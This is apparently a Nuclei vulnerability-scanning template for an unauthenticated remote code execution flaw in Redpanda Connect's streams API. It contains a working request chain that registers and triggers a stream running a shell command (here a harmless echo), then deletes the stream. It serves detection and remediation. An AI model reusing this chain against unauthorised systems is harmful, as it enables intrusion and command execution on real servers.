CVE-2026-123270: Redpanda Connect Streams API - Unauthenticated Remote Code Execution

id: CVE-2026-123270

info:
  name: Redpanda Connect Streams API - Unauthenticated Remote Code Execution
  author: pagvac
  severity: critical
  description: |
    Redpanda Connect 4.39.0 through 4.110.0 exposes an unauthenticated streams management API by default; an attacker can register and trigger a stream containing a command processor.
  impact: |
    An unauthenticated attacker can execute operating system commands with the privileges of the Redpanda Connect process.
  remediation: |
    Upgrade to 4.111.0 or later, where the streams management API is disabled by default; bind any enabled API to a trusted interface and require authentication.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-123270
    - https://docs.redpanda.com/connect/guides/streams_mode/about/
    - https://docs.redpanda.com/connect/components/processors/command/
    - https://github.com/pagvac/redpanda-connect-unauth-rce
    - https://nvd.nist.gov/vuln/detail/CVE-2026-123270
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-123270
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 5
    vendor: redpanda
    product: redpanda-connect
  tags: cve,cve2026,redpanda,benthos,rce,unauth,intrusive,vuln

variables:
  stream_id: '{{rand_base(14, "abcdefghijklmnopqrstuvwxyz")}}'
  marker: 'nucleirce{{rand_base(16, "abcdefghijklmnopqrstuvwxyz0123456789")}}'

flow: |
  if (http(1)) {
    http(2);
    http(3);
  }

http:
  - method: GET
    path:
      - "{{BaseURL}}/version"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'compare_versions(version, ">= 4.39.0", "< 4.111.0")'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: version
        group: 1
        regex:
          - '(?i)"version"\s*:\s*"([0-9]+\.[0-9]+(?:\.[0-9]+)?)"'
        internal: true

  - raw:
      - |
        GET /streams HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

      - |
        POST /streams/{{stream_id}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-yaml

        input:
          http_server:
            path: /trigger
        pipeline:
          processors:
            - command:
                name: sh
                args_mapping: 'root = [ "-c", "echo {{marker}}" ]'
        output:
          sync_response: {}

      - |
        POST /{{stream_id}}/trigger HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain

        rce

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200 && status_code_2 == 200 && status_code_3 == 200'
          - 'contains(body_3, marker)'
        condition: and

  - raw:
      - |
        DELETE /streams/{{stream_id}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: status
        status:
          - 200
        internal: true
# digest: 490a004630440220136ff98050207aeb3d22b79a6e47fab68e02d44e5490a6c358c1a3d5229d5e4002200ae3bae4b135d9dd44f947f6a02d3ac706c08d30e49208c0f4350a4d4865a605:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.